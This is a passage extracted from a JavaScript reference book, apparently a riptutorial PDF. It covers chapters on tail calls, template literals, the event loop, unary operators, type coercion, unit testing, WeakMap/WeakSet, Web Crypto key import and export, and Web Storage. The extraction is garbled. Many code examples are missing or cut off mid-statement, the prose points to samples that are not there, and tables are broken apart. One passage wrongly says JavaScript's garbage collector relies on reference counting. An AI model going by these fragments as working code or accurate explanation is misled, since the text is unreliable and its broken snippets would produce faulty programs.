The Symbol.for method allows you to register and look up global symbols by name. The first time it
is called with a given key, it creates a new symbol and adds it to the registry.
let a = Symbol.for('A');
The next time you call Symbol.for('A'), the same symbol will be returned instead of a new one (in
contrast to Symbol('A') which would create a new, unique symbol that happens to have the same
description).
but
https://riptutorial.com/ 512
www.dbooks.org
Chapter 90: Tail Call Optimization
Syntax
• only return call() either implicitly such as in arrow function or explicitly, can be a tail call
statment
• function foo(){ return bar(); } // the call to bar is a tail call
• function foo(){ bar(); }// bar is not a tail call. The function returns undefined when no return is
given
• const foo = () => bar(); // bar() is a tail call
• const foo = () => (poo(),bar()); // poo is not a tail call, bar is a tail call
• const foo = () => poo() && bar(); // poo is not a tail call, bar is a tail call
• const foo = () => bar() + 1; // bar is not a tail call as it requires context to return + 1
Remarks
TCO is also known as PTC (Proper Tail Call) as it is referred to in the ES2015 specifications.
Examples
What is Tail Call Optimization (TCO)
As always check browser and Javascript implementations for support of any language features,
and as with any javascript feature or syntax, it may change in the future.
It provides a way to optimise recursive and deeply nested function calls by eliminating the need to
push function state onto the global frame stack, and avoiding having to step down through each
calling function by returning directly to the initial calling function.
function a(){
return b(); // 2
}
function b(){
return 1; // 3
}
a(); // 1
Without TCO the call to a() creates a new frame for that function. When that function calls b() the
a()'s frame is pushed onto the frame stack and a new frame is created for function b()
When b() return to a() a()'s frame is popped from the frame stack. It immediately return to the
global frame and thus does not use any of the states save on the stack.
TCO recognises that the call from a() to b() is at the tail of function a() and thus there is no need
https://riptutorial.com/ 513
to push a()'s state onto the frame stack. When b(0) returns rather than returning to a() it returns
directly to the global frame. Further optimising by eliminating the intermediate steps.
TCO allows for recursive functions to have indefinite recursion as the frame stack will not grow
with each recursive call. Without TCO recursive function had a limited recursive depth.
Recursive loops
Tail Call Optimisation makes it possible to safely implement recursive loops without concern for
call stack overflow or the overhead of a growing frame stack.
https://riptutorial.com/ 514
www.dbooks.org
Chapter 91: Template Literals
Introduction
Template literals are a type of string literal that allows values to be interpolated, and optionally the
interpolation and construction behaviour to be controlled using a "tag" function.
Syntax
• message = `Welcome, ${user.name}!`
• pattern = new RegExp(String.raw`Welcome, (\w+)!`);
• query = SQL`INSERT INTO User (name) VALUES (${name})`
Remarks
Template Literals were first specified by ECMAScript 6 §12.2.9.
Examples
Basic interpolation and multiline strings
Template literals are a special type of string literal that can be used instead of the standard '...'
or "...". They are declared by quoting the string with backticks instead of the standard single or
double quotes: `...`.
Template literals can contain line breaks and arbitrary expressions can be embedded using the ${
expression } substitution syntax. By default, the values of these substitution expressions are
concatenated directly into the string where they appear.
console.log(`Game Over!
Game Over!
Raw strings
The String.raw tag function can be used with template literals to access a version of their contents
without interpreting any backslash escape sequences.
String.raw`\n`
https://riptutorial.com/ 515
will contain a backslash and the lowercase letter n, while `\n` or '\n' would contain a single
newline character instead.
Tagged strings
A function identified immediately before a template literal is used to interpret it, in what is called a
tagged template literal. The tag function can return a string, but it can also return any other type
of value.
The first argument to the tag function, strings, is an Array of each constant piece of the literal. The
remaining arguments, ...substitutions, contain the evaluated values of each ${} substitution
expression.
Map {"label" => "Content", "servers" => 17, "hostname" => "stackoverflow.com"}
The strings Array has a special .raw property referencing a parallel Array of the same constant
pieces of the template literal but exactly as they appear in the source code, without any backslash-
escapes being replaced.
strings: ["Hello ", ".\n\nHow are you?", raw: ["Hello ", ".\\n\\nHow are you?"]]
substitutions: ["world"]
https://riptutorial.com/ 516
www.dbooks.org
Templating HTML With Template Strings
You can create an HTML`...` template string tag function to automatically encodes interpolated
values. (This requires that interpolated values are only used as text, and may not be safe if
interpolated values are used in code such as scripts or styles.)
document.body.innerHTML = HTML`
<h1><img src="${iconSrc}" /> ${title}</h1>
Introduction
Template Literals act like strings with special features. They are enclosed by by the back-tick ``
and can be spanned across multiple lines.
Template Literals can contain embedded expressions too. These expressions are indicated by a $
sign and curly braces {}
https://riptutorial.com/ 517
var anotherLiteral = `string data that spans
across multiple lines of code`;
There are many other features of String Literals such as Tagged Template Literals and Raw
property. These are demonstrated in other examples.
https://riptutorial.com/ 518
www.dbooks.org
Chapter 92: The Event Loop
Examples
The event loop in a web browser
The vast majority of modern JavaScript environments work according to an event loop. This is a
common concept in computer programming which essentially means that your program continually
waits for new things to happen, and when they do, reacts to them. The host environment calls into
your program, spawning a "turn" or "tick" or "task" in the event loop, which then runs to completion
. When that turn has finished, the host environment waits for something else to happen, before all
this starts.
<!DOCTYPE html>
<title>Event loop example</title>
<script>
console.log("this a script entry point");
document.body.onclick = () => {
console.log("onclick");
};
setTimeout(() => {
console.log("setTimeout callback log 1");
console.log("setTimeout callback log 2");
}, 100);
</script>
1. The HTML parser will first execute the <script>. It will run to completion.
2. The call to setTimeout tells the browser that, after 100 milliseconds, it should enqueue a task
to perform the given action.
3. In the meantime, the event loop is then responsible for continually checking if there's
something else to do: for example, rendering the web page.
4. After 100 milliseconds, if the event loop is not busy for some other reason, it will see the task
that setTimeout enqueues, and run the function, logging those two statements.
5. At any time, if someone clicks on the body, the browser will post a task to the event loop to
run the click handler function. The event loop, as it goes around continually checking what to
do, will see this, and run that function.
You can see how in this example there are several different types of entry points into JavaScript
code, which the event loop invokes:
https://riptutorial.com/ 519
• The click handler task can be posted many times and run each time
Each turn of the event loop is responsible for many things; only some of them will invoke these
JavaScript tasks. For full details, see the HTML specification
One last thing: what do we mean by saying that each event loop task "runs to completion"? We
mean that it is not generally possible to interrupt a block of code that is queued to run as a task,
and it is never possible to run code interleaved with another block of code. For example, even if
you clicked at the perfect time, you could never get the above code to log "onclick" in between the
two setTimeout callback log 1/2"s. This is due to the way the task-posting works; it is cooperative
and queue-based, instead of preemptive.
window.setTimeout(() => {
console.log("this happens later");
}, 100);
How this works is that when these statements execute, they tell the host environment (i.e., the
browser or Node.js runtime, respectively) to go off and do something, probably in another thread.
When the host environment is done doing that thing (respectively, waiting 100 milliseconds or
reading the file file.txt) it will post a task to the event loop, saying "call the callback I was given
earlier with these arguments".
The event loop is then busy doing its thing: rendering the webpage, listening for user input, and
continually looking for posted tasks. When it sees these posted tasks to call the callbacks, it will
call back into JavaScript. That's how you get asynchronous behavior!
https://riptutorial.com/ 520
www.dbooks.org
Chapter 93: Tilde ~
Introduction
The ~ operator looks at the binary representation of the values of the expression and does a
bitwise negation operation on it.
Any digit that is a 1 in the expression becomes a 0 in the result. Any digit that is a 0 in the
expression becomes a 1 in the result.
Examples
~ Integer
The following example illustrates use of the bitwise NOT (~) operator on integer numbers.
let number = 3;
let complement = ~number;
~~ Operator
The following example illustrates use of the bitwise NOT (~~) operator on decimal numbers.
To keep the example simple, decimal number 3.5 will be used, cause of it's simple representation
in binary format.
https://riptutorial.com/ 521
Result of the complement number equals to -4;
To simplify this, we can think of it as functions f2(n) = -(-(n+1) + 1) and g2(n) = -(-(integer(n)+1)
+ 1).
g2(n) will essentially round positive numbers down and negative numbers up.
~~Could be used on non-numeric values. A numeric expression will be first converted to a number
and then performed bitwise NOT operation on it.
true and false bool values are exceptions, where true is presented as numeric value 1 and false
as 0
Shorthands
https://riptutorial.com/ 522
www.dbooks.org
We can use ~ as a shorthand in some everyday scenarios.
indexOf
let items = ['foo', 'bar', 'baz'];
let el = 'a';
or
if (items.indexOf('a') >= 0) {}
can be re-written as
if (~items.indexOf('a')) {}
~ Decimal
The following example illustrates use of the bitwise NOT (~) operator on decimal numbers.
To keep the example simple, decimal number 3.5 will be used, cause of it's simple representation
in binary format.
https://riptutorial.com/ 523
Chapter 94: Timestamps
Syntax
• millisecondsAndMicrosecondsSincePageLoad = performance.now();
• millisecondsSinceYear1970 = Date.now();
• millisecondsSinceYear1970 = (new Date()).getTime();
Remarks
performance.now() is available in modern web browsers and provides reliable timestamps with sub-
millisecond resolution.
Since Date.now() and (new Date()).getTime() are based on the system time, they often get skewed
by a few milliseconds when the system time is automatically synchronized.
Examples
High-resolution timestamps
More generally, it returns the time elapsed since the performanceTiming.navigationStart event.
t = performance.now();
For example, in a web browser's main context, performance.now() returns 6288.319 if the web page
began to load 6288 milliseconds and 319 microseconds ago.
Low-resolution timestamps
Date.now()returns the number of whole milliseconds that have elapsed since 1 January 1970
00:00:00 UTC.
t = Date.now();
For example, Date.now() returns 1461069314 if it was called on 19 April 2016 at 12:35:14 GMT.
t = (new Date()).getTime();
https://riptutorial.com/ 524
www.dbooks.org
Or, to provide a Date.now() function for use in older browsers, use this polyfill:
if (!Date.now) {
Date.now = function now() {
return new Date().getTime();
};
}
https://riptutorial.com/ 525
Chapter 95: Transpiling
Introduction
Transpiling is the process of interpreting certain programming languages and translating it to a
specific target language. In this context, transpiling will take compile-to-JS languages and translate
them into the target language of Javascript.
Remarks
Transpiling is the process of converting source code to source code, and this is a common activity
in JavaScript development.
The features available in common JavaScript applications (Chrome, Firefox, NodeJS, etc.) often
lag behind the latest ECMAScript specifications (ES6/ES2015, ES7/ES2016, etc.). Once a
specification has been approved, it will most certainly be available natively in future versions of
JavaScript applications.
Rather than waiting for new JavaScript releases, engineers can start writing code that will run
natively in the future (future-proofing) by using a compiler to convert code written for newer
specifications into code compatible with existing applications. Common transpilers include Babel
and Google Traceur.
Transpilers can also be used to convert from another language like TypeScript or CoffeeScript to
regular, "vanilla" JavaScript. In this case, transpiling converts from one language to a different
language.
Examples
Introduction to Transpiling
Examples
ES6/ES2015 to ES5 (via Babel):
https://riptutorial.com/ 526
www.dbooks.org
return n + 1;
});
This CoffeeScript
# Existence:
alert "I knew it!" if elvis?
How do I transpile?
For ES6/ES2016-to-ES5 transpiling, the most prominent transpiler being used is Babel.
Browser support for ES6 is growing, but to be sure your code will work on environments that dont
fully support it, you can use Babel, the ES6/7 to ES5 transpiler, try it out!
If you would like to use ES6/7 in your projects without having to worry about compatibility, you can
use Node and Babel CLI
https://riptutorial.com/ 527
~ npm init
4. Create a scripts folder to store your .js files, and then a dist/scripts folder where the
transpiled fully compatible files will be stored.
5. Create a .babelrc file in the root folder of your project, and write this on it
{
"presets": ["es2015"]
}
6. Edit your package.json file (created when you ran npm init) and add the build script to the
scripts property:
{
...
"scripts": {
... ,
"build": "babel scripts --out-dir dist/scripts"
},
...
}
For more complex projects you might want to take a look at Gulp or Webpack
https://riptutorial.com/ 528
www.dbooks.org
Chapter 96: Unary Operators
Syntax
• void expression; // Evaluates expression and discards return value
• +expression; // Attempt to convert expression to a number
• delete object.property; // Delete object's property
• delete object["property"]; // Delete object's property
• typeof operand; // Returns type of operand
• ~expression; // Perform NOT operation on each bit of expression
• !expression; // Perform logical negation on expression
• -expression; // Negate expression after attempting conversion to number
Examples
The unary plus operator (+)
The unary plus (+) precedes its operand and evaluates to its operand. It attempts to convert the
operand to a number, if it isn't already.
Syntax:
+expression
Returns:
• a Number.
Description
The unary plus (+) operator is the fastest (and preferred) method of converting something into a
number.
It can convert:
https://riptutorial.com/ 529
Examples:
+42 // 42
+"42" // 42
+true // 1
+false // 0
+null // 0
+undefined // NaN
+NaN // NaN
+"foo" // NaN
+{} // NaN
+function(){} // NaN
Note that attempting to convert an array can result in unexpected return values.
In the background, arrays are first converted to their string representations:
Syntax:
delete object.property
delete object['property']
Returns:
If deletion is successful, or the property did not exist:
• true
https://riptutorial.com/ 530
www.dbooks.org
Description
The delete operator does not directly free memory. It can indirectly free memory if the operation
means all references to the property are gone.
delete works on an object's properties. If a property with the same name exists on the object's
prototype chain, the property will be inherited from the prototype.
delete does not work on variables or function names.
Examples:
// Deleting a property
foo = 1; // a global variable is a property of `window`: `window.foo`
delete foo; // true
console.log(foo); // Uncaught ReferenceError: foo is not defined
// Deleting a variable
var foo = 1;
delete foo; // false
console.log(foo); // 1 (Not deleted)
// Deleting a function
function foo(){ };
delete foo; // false
console.log(foo); // function foo(){ } (Not deleted)
// Deleting a property
var foo = { bar: "42" };
delete foo.bar; // true
console.log(foo); // Object { } (Deleted bar)
The typeof operator returns the data type of the unevaluated operand as a string.
Syntax:
typeof operand
https://riptutorial.com/ 531
Returns:
These are the possible return values from typeof:
Undefined "undefined"
Null "object"
Boolean "boolean"
Number "number"
String "string"
document.all "undefined"
The unusual behavior of document.all with the typeof operator is from its former usage to detect
legacy browsers. For more information, see Why is document.all defined but typeof document.all
returns "undefined"?
Examples:
// returns 'number'
typeof 3.14;
typeof Infinity;
typeof NaN; // "Not-a-Number" is a "number"
// returns 'string'
typeof "";
typeof "bla";
typeof (typeof 1); // typeof always returns a string
// returns 'boolean'
typeof true;
typeof false;
// returns 'undefined'
typeof undefined;
typeof declaredButUndefinedVariable;
typeof undeclaredVariable;
typeof void 0;
typeof document.all // see above
https://riptutorial.com/ 532
www.dbooks.org
// returns 'function'
typeof function(){};
typeof class C {};
typeof Math.sin;
// returns 'object'
typeof { /*<...>*/ };
typeof null;
typeof /regex/; // This is also considered an object
typeof [1, 2, 4]; // use Array.isArray or Object.prototype.toString.call.
typeof new Date();
typeof new RegExp();
typeof new Boolean(true); // Don't use!
typeof new Number(1); // Don't use!
typeof new String("abc"); // Don't use!
// returns 'symbol'
typeof Symbol();
typeof Symbol.iterator;
The void operator evaluates the given expression and then returns undefined.
Syntax:
void expression
Returns:
• undefined
Description
The void operator is often used to obtain the undefined primitive value, by means of writing void 0
or void(0). Note that void is an operator, not a function, so () is not required.
Usually the result of a void expression and undefined can be used interchangeably.
However, in older versions of ECMAScript, window.undefined could be assigned any value, and it is
still possible to use undefined as name for function parameters variables inside functions, thus
disrupting other code that relies on the value of undefined.
void will always yield the true undefined value though.
void 0 is also commonly used in code minification as a shorter way of writing undefined. In addition,
it's probably safer as some other code could've tampered with window.undefined.
https://riptutorial.com/ 533
Examples:
Returning undefined:
function foo(){
return void 0;
}
console.log(foo()); // undefined
(function(undefined){
var str = 'foo';
console.log(str === undefined); // true
})('foo');
The unary negation (-) precedes its operand and negates it, after trying to convert it to number.
Syntax:
-expression
Returns:
• a Number.
Description
The unary negation (-) can convert the same types / values as the unary plus (+) operator can.
Examples:
-42 // -42
-"42" // -42
-true // -1
-false // -0
-null // -0
-undefined // NaN
-NaN // NaN
https://riptutorial.com/ 534
www.dbooks.org
-"foo" // NaN
-{} // NaN
-function(){} // NaN
Note that attempting to convert an array can result in unexpected return values.
In the background, arrays are first converted to their string representations:
The bitwise NOT (~) performs a NOT operation on each bit in a value.
Syntax:
~expression
Returns:
• a Number.
Description
The truth table for the NOT operation is:
a NOT a
0 1
1 0
https://riptutorial.com/ 535
Examples:
value (base 10) value (base 2) return (base 2) return (base 10)
2 00000010 11111100 -3
1 00000001 11111110 -2
0 00000000 11111111 -1
-1 11111111 00000000 0
-2 11111110 00000001 1
-3 11111100 00000010 2
Syntax:
!expression
Returns:
• a Boolean.
Description
The logical NOT (!) operator performs logical negation on an expression.
Boolean values simply get inverted: !true === false and !false === true.
Non-boolean values get converted to boolean values first, then are negated.
This means that a double logical NOT (!!) can be used to cast any value to a boolean:
https://riptutorial.com/ 536
www.dbooks.org
!'FooBar' === !new Boolean('FooBar');
![] === !new Boolean([]);
!{} === !new Boolean({});
Examples:
!true // false
!-1 // false
!"-1" // false
!42 // false
!"42" // false
!"foo" // false
!"true" // false
!"false" // false
!{} // false
![] // false
!function(){} // false
!false // true
!null // true
!undefined // true
!NaN // true
!0 // true
!"" // true
Overview
Unary operators are operators with only one operand. Unary operators are more efficient than
standard JavaScript function calls. Additionally, unary operators can not be overridden and
therefore their functionality is guaranteed.
typeof The typeof operator determines the type of a given object. example
+ The unary plus operator converts its operand to Number type. example
- The unary negation operator converts its operand to Number, then example
https://riptutorial.com/ 537
Operator Operation Example
negates it.
https://riptutorial.com/ 538
www.dbooks.org
Chapter 97: Unit Testing Javascript
Examples
Basic Assertion
At its most basic level, Unit Testing in any language provides assertions against some known or
expected output.
The popular assertion method above shows us one quick and easy way to assert a value in most
web browsers and interpreters like Node.js with virtually any version of ECMAScript.
A good unit test is designed to test a discreet unit of code; usually a function.
In the example above, the return value from the function add(x, y) or 5 + 20 is clearly 25, so our
assertion of 24 should fail, and the assert method will log a "fail" line.
If we simply modify our expected assertion outcome, the test will succeed and the resulting output
would look something like this.
console output:
This simple assertion can assure that in many different cases, your "add" function will always
return the expected result and requires no additional frameworks or libraries to work.
A more rigorous set of assertions would look like this (using var result = add(x,y) for each
assertion):
https://riptutorial.com/ 539
And console output would be this:
We can now safely say that add(x,y)… should return the sum of two integers. We can roll these
up into something like this:
function test__addsIntegers() {
].reduce(function(previousValue, currentValue){
});
} else {
}
}
Here we have a simple class to be tested that returns a Promise based on the results of an external
ResponseProcessor that takes time to execute.
For simplicty we'll assume that the processResponse method won't ever fail.
https://riptutorial.com/ 540
www.dbooks.org
module.exports = ping;
1. mocha
2. chai
3. sinon
4. proxyquire
5. chai-as-promised
This allows me to use es6 syntax. It references a test_helper that will look like
chai.use(sinonChai);
chai.use(chaiAsPromised);
sinonStubPromise(sinon);
Proxyquire allows us to inject our own stub in the place of the external ResponseProcessor. We can
then use sinon to spy on that stub's methods. We use the extensions to chai that chai-as-promised
injects to check that the ping() method's promise is fullfilled, and that it eventually returns the
required response.
let formattingStub = {
wrapResponse: () => {}
}
describe('ping', () => {
let wrapResponseSpy, pingResult;
const response = 'some response';
beforeEach(() => {
wrapResponseSpy = sinon.stub(formattingStub, 'wrapResponse').returns(response);
pingResult = ping();
})
afterEach(() => {
formattingStub.wrapResponse.restore();
https://riptutorial.com/ 541
})
Now instead let's assume you wish to test something that uses the response from ping.
module.exports = pingWrapper;
0. sinon
1. proxyquire
2. sinon-stub-promise
As before, Proxyquire allows us to inject our own stub in the place of the external dependency, in
this case the ping method we tested previously. We can then use sinon to spy on that stub's
methods and leverage sinon-stub-promise to allow us to returnsPromise. This promise can then be
resolved or rejected as we wish in the test, in order to test the wrapper's response to that.
let pingStub = {
ping: () => {}
};
describe('pingWrapper', () => {
let pingSpy;
const response = 'some response';
beforeEach(() => {
pingSpy = sinon.stub(pingStub, 'ping').returnsPromise();
pingSpy.resolves(response);
pingWrapper();
});
afterEach(() => {
https://riptutorial.com/ 542
www.dbooks.org
pingStub.wrapResponse.restore();
});
https://riptutorial.com/ 543
Chapter 98: Using javascript to get/set CSS
custom variables
Examples
How to get and set CSS variable property values.
element.style.getPropertyValue("--var")
element.style.setProperty("--var", "NEW_VALUE")
https://riptutorial.com/ 544
www.dbooks.org
Chapter 99: Variable coercion/conversion
Remarks
Some languages require you to define ahead of time what kind of variable you're declaring.
JavaScript doesn't do that; it will try to figure that out on its own. Sometimes this can create
unexpected behavior.
<span id="freezing-point">0</span>
And retrieve its content through JS, it will not convert it to a number, even though one might
expect it to. If we use the following snippet, one might expect boilingPoint to be 100. However,
JavaScript will convert moreHeat to a string and concatenate the two string; the result will be 0100.
var el = document.getElementById('freezing-point');
var freezingPoint = el.textContent || el.innerText;
var moreHeat = 100;
var boilingPoint = freezingPoint + moreHeat;
var el = document.getElementById('freezing-point');
var freezingPoint = Number(el.textContent || el.innerText);
var boilingPoint = freezingPoint + moreHeat;
In the first line, we convert "0" (the string) to 0 (the number) before storing it. After doing the
addition, you get the expected result (100).
Examples
Converting a string to a number
Number('0') === 0
+'0' === 0
The unary + operator does nothing to numbers, but converts anything else to a number.
Interestingly, +(-12) === -12.
https://riptutorial.com/ 545
parseInt('0', 10) === 0
parseInt('0', 10) will convert the string ('0') into a number (0), don't forget the second argument,
which is radix. If not given, parseInt could convert string to wrong number.
The double-negation !! is not a distinct JavaScript operator nor a special syntax but rather just a
sequence of two negations. It is used to convert the value of any type to its appropriate true or
false Boolean value depending on whether it is truthy or falsy.
!!1 // true
!!0 // false
!!undefined // false
!!{} // true
!![] // true
The first negation converts any value to false if it is truthy and to true if is falsy. The second
negation then operates on a normal Boolean value. Together they convert any truthy value to true
and any falsy value to false.
However, many professionals consider the practice of using such syntax unacceptable and
recommend simpler to read alternatives, even if they're longer to write:
1. Stylistically it may look like a distinct special syntax whereas in fact it is not doing anything
other than two consecutive negations with implicit type conversion.
2. It is better to provide information about types of values stored in variables and properties
through the code. For example, x !== 0 says that x is probably a number, whereas !!x does
not convey any such advantage to readers of the code.
3. Usage of Boolean(x) allows for similar functionality, and is a more explicit conversion of type.
Implicit conversion
https://riptutorial.com/ 546
www.dbooks.org
JavaScript will try to automatically convert variables to more appropriate types upon use. It's
usually advised to do conversions explicitly (see other examples), but it's still worth knowing what
conversions take place implicitly.
Boolean(myString)
!!myString
All strings except the empty string (of length zero) are evaluated to true as booleans.
Integer to Float
In JavaScript, all numbers are internally represented as floats. This means that simply using your
integer as a float is all that must be done to convert it.
https://riptutorial.com/ 547
Float to Integer
The floor function returns the first integer less than or equal to the float.
Math.floor(5.7); // 5
The ceil function returns the first integer greater than or equal to the float.
Math.ceil(5.3); // 6
Math.round(3.2); // 3
Math.round(3.6); // 4
Math.trunc(3.7); // 3
Math.floor(-3.1); // -4
Math.trunc(-3.1); // -3
parseFloat("10.01") // = 10.01
Converting to boolean
Boolean(...) will convert any data type into either true or false.
https://riptutorial.com/ 548
www.dbooks.org
Empty strings and the number 0 will be converted to false, and all others will be converted to true.
This shorter form takes advantage of implicit type conversion using the logical NOT operator twice,
as described in http://www.riptutorial.com/javascript/example/3047/double-negation----x-
Here is the complete list of boolean conversions from the ECMAScript specification
Values that get converted to false as booleans are called falsy (and all others are called truthy).
See Comparison Operations.
https://riptutorial.com/ 549
This way may seem to be uselss becuase you are using anonymous function to acomplish
something that you can do it with join(); But if you need to make something to the strings while you
are converting the Array to String, this can be useful.
true "true" 1
false "false" 0
"" 0 true
"test" (non
NaN true
numeric
"0" 0 true
"1" 1 true
-0 "0" false
0 "0" false
1 "1" true
https://riptutorial.com/ 550
www.dbooks.org
Converted To Converted To Converted To
Value
String Number Boolean
[] "" 0 true
https://riptutorial.com/ 551
Chapter 100: Vibration API
Introduction
Modern mobile devices include hardware for vibrations. The Vibration API offers Web apps the
ability to access this hardware, if it exists, and does nothing if the device doesn't support it.
Syntax
• let success = window.navigator.vibrate( pattern );
Remarks
Support by browsers might be limited. Also support by the operating system may be limited.
The following table gives an overview of the earliest browser versions that provide support for
vibrations.
Examples
Check for support
if ('vibrate' in window.navigator)
// browser has support for vibrations
else
// no support
Single vibration
window.navigator.vibrate(100);
or
window.navigator.vibrate([100]);
https://riptutorial.com/ 552
www.dbooks.org
Vibration patterns
An array of values describes periods of time in which the device is vibrating and not vibrating.
https://riptutorial.com/ 553
Chapter 101: WeakMap
Syntax
• new WeakMap([iterable]);
• weakmap.get(key);
• weakmap.set(key, value);
• weakmap.has(key);
• weakmap.delete(key);
Remarks
For uses of WeakMap, see What are the actual uses of ES6 WeakMap?.
Examples
Creating a WeakMap object
WeakMap object allows you to store key/value pairs. The difference from Map is that keys must be
objects and are weakly referenced. This means that if there aren't any other strong references to
the key, the element in WeakMap can be removed by garbage collector.
WeakMap constructor has an optional parameter, which can be any iterable object (for example
Array) containing key/value pairs as two-element arrays.
To get a value associated to the key, use the .get() method. If there's no value associated to the
key, it returns undefined.
To assign a value to the key, use the .set() method. It returns the WeakMap object, so you can
chain .set() calls.
https://riptutorial.com/ 554
www.dbooks.org
const obj1 = {},
obj2 = {};
To check if an element with a specified key exits in a WeakMap, use the .has() method. It returns
true if it exits, and otherwise false.
To remove an element with a specified key, use the .delete() method. It returns true if the
element existed and has been removed, otherwise false.
JavaScript uses reference counting technique to detect unused objects. When reference count to
an object is zero, that object will be released by the garbage collector. Weakmap uses weak
reference that does not contribute to reference count of an object, therefore it is very useful to
solve memory leak problems.
Here is a demo of weakmap. I use a very large object as value to show that weak reference does
not contribute to reference count.
// manually trigger garbage collection to make sure that we are in good status.
> global.gc();
undefined
https://riptutorial.com/ 555
external: 9059 }
> global.gc();
undefined
// heapUsed is still 4M or so
> process.memoryUsage();
{ rss: 20537344,
heapTotal: 9474048,
heapUsed: 3967272,
external: 8993 }
// b reference to null
> b = null;
null
// garbage collection
> global.gc();
undefined
https://riptutorial.com/ 556
www.dbooks.org
Chapter 102: WeakSet
Syntax
• new WeakSet([iterable]);
• weakset.add(value);
• weakset.has(value);
• weakset.delete(value);
Remarks
For uses of WeakSet see ECMAScript 6: what is WeakSet for?.
Examples
Creating a WeakSet object
The WeakSet object is used for storing weakly held objects in a collection. The difference from Set
is that you can't store primitive values, like numbers or string. Also, references to the objects in the
collection are held weakly, which means that if there is no other reference to an object stored in a
WeakSet, it can be garbage collected.
The WeakSet constructor has an optional parameter, which can be any iterable object (for
example an array). All of its elements will be added to the created WeakSet.
Adding a value
To add a value to a WeakSet, use the .add() method. This method is chainable.
https://riptutorial.com/ 557
const weakset = new WeakSet([obj1]);
console.log(weakset.has(obj1)); // true
console.log(weakset.has(obj2)); // false
Removing a value
To remove a value from a WeakSet, use the .delete() method. This method returns true if the
value existed and has been removed, otherwise false.
https://riptutorial.com/ 558
www.dbooks.org
Chapter 103: Web Cryptography API
Remarks
The WebCrypto APIs are usually only available on "secure" origins, meaning that the document
must have been loaded over HTTPS or from the local machine (from localhost, file:, or a browser
extension).
These APIs are specified by the W3C Web Cryptography API Candidate Recommendation.
Examples
Cryptographically random data
• Int8Array:-27 to 27-1
• Uint8Array: 0 to 28-1
• Int16Array: -215 to 215-1
• Uint16Array: 0 to 216-1
• Int32Array: -231 to 231-1
• Uint32Array: 0 to 231-1
// Convert string to ArrayBuffer. This step is only necessary if you wish to hash a string,
not if you aready got an ArrayBuffer such as an Uint8Array.
var input = new TextEncoder('utf-8').encode('Hello world!');
// If you want to display the digest as a hexadecimal string, this will work:
var view = new DataView(digest);
var hexstr = '';
for(var i = 0; i < view.byteLength; i++) {
https://riptutorial.com/ 559
var b = view.getUint8(i);
hexstr += '0123456789abcdef'[(b & 0xf0) >> 4];
hexstr += '0123456789abcdef'[(b & 0x0f)];
}
console.log(hexstr);
The current draft suggests to provide at least SHA-1, SHA-256, SHA-384 and SHA-512, but this is no
strict requirement and subject to change. However, the SHA family can still be considered a good
choice as it will likely be supported in all major browsers.
In this example you will learn how to generate RSA-OAEP key pair and how to convert private key
from this key pair to base64 so you can use it with OpenSSL etc. Please note that this process
can also be used for public key you just have to use prefix and suffix below:
NOTE: This example is fully tested in these browsers: Chrome, Firefox, Opera, Vivaldi
function arrayBufferToBase64(arrayBuffer) {
var byteArray = new Uint8Array(arrayBuffer);
var byteString = '';
for(var i=0; i < byteArray.byteLength; i++) {
byteString += String.fromCharCode(byteArray[i]);
}
var b64 = window.btoa(byteString);
return b64;
}
function addNewLines(str) {
var finalString = '';
while(str.length > 0) {
finalString += str.substring(0, 64) + '\n';
str = str.substring(64);
}
return finalString;
}
function toPem(privateKey) {
var b64 = addNewLines(arrayBufferToBase64(privateKey));
var pem = "-----BEGIN PRIVATE KEY-----\n" + b64 + "-----END PRIVATE KEY-----";
return pem;
https://riptutorial.com/ 560
www.dbooks.org
}
That's it! Now you have a fully working and compatiable RSA-OAEP Private Key in PEM format
which you can use whereever you want. Enjoy!
So, have you ever wondered how to use your PEM RSA key pair that was generated by OpenSSL
in Web Cryptography API? If the answers is yes. Great! You are going to find out.
NOTE: This process can also be used for public key, you only need to change prefix and suffix to:
This example assumes that you have your RSA key pair generated in PEM.
function removeLines(str) {
return str.replace("\n", "");
}
function base64ToArrayBuffer(b64) {
var byteString = window.atob(b64);
var byteArray = new Uint8Array(byteString.length);
for(var i=0; i < byteString.length; i++) {
byteArray[i] = byteString.charCodeAt(i);
}
return byteArray;
}
https://riptutorial.com/ 561
function pemToArrayBuffer(pem) {
var b64Lines = removeLines(pem);
var b64Prefix = b64Lines.replace('-----BEGIN PRIVATE KEY-----', '');
var b64Final = b64Prefix.replace('-----END PRIVATE KEY-----', '');
return base64ToArrayBuffer(b64Final);
}
window.crypto.subtle.importKey(
"pkcs8",
pemToArrayBuffer(yourprivatekey),
{
name: "RSA-OAEP",
hash: {name: "SHA-256"} // or SHA-512
},
true,
["decrypt"]
).then(function(importedPrivateKey) {
console.log(importedPrivateKey);
}).catch(function(err) {
console.log(err);
});
And now you're done! You can use your imported key in WebCrypto API.
https://riptutorial.com/ 562
www.dbooks.org
Chapter 104: Web Storage
Syntax
• localStorage.setItem(name, value);
• localStorage.getItem(name);
• localStorage.name = value;
• localStorage.name;
• localStorage.clear()
• localStorage.removeItem(name);
Parameters
Parameter Description
Remarks
The Web Storage API is specified in the WHATWG HTML Living Standard.
Examples
Using localStorage
The localStorage object provides persistent (but not permanent - see limits below) key-value
storage of strings. Any changes are immediately visible in all other windows/frames from the same
origin. The stored values persistent indefinitely unless the user clears saved data or configures an
expiration limit. localStorage uses a map-like interface for getting and setting values.
localStorage.removeItem('name');
console.log(localStorage.getItem('name')); // null
If you want to store simple structured data, you can use JSON to serialize it to and from strings for
storage.
https://riptutorial.com/ 563
var players = [{name: "Tyler", score: 22}, {name: "Ryan", score: 41}];
localStorage.setItem('players', JSON.stringify(players));
console.log(JSON.parse(localStorage.getItem('players')));
// [ Object { name: "Tyler", score: 22 }, Object { name: "Ryan", score: 41 } ]
Desktop browsers:
Storage events
Whenever a value in set in localStorage, a storage event will be dispatched on all other windows
from the same origin. This can be used to synchronize state between different pages without
reloading or communicating with a server. For example, we can reflect the value of an input
element as paragraph text in another window:
First Window
input.value = localStorage.getItem('user-value');
input.oninput = function(event) {
localStorage.setItem('user-value', input.value);
};
Second Window
output.textContent = localStorage.getItem('user-value');
window.addEventListener('storage', function(event) {
https://riptutorial.com/ 564
www.dbooks.org
if (event.key === 'user-value') {
output.textContent = event.newValue;
}
});
Notes
Event is not fired or catchable under Chrome, Edge and Safari if domain was modified through
script.
First window
input.value = localStorage.getItem('user-value');
input.oninput = function(event) {
localStorage.setItem('user-value', input.value);
};
Second Window
sessionStorage
The sessionStorage object implements the same Storage interface as localStorage. However,
instead of being shared with all pages from the same origin, sessionStorage data is stored
separately for every window/tab. Stored data persists between pages in that window/tab for as
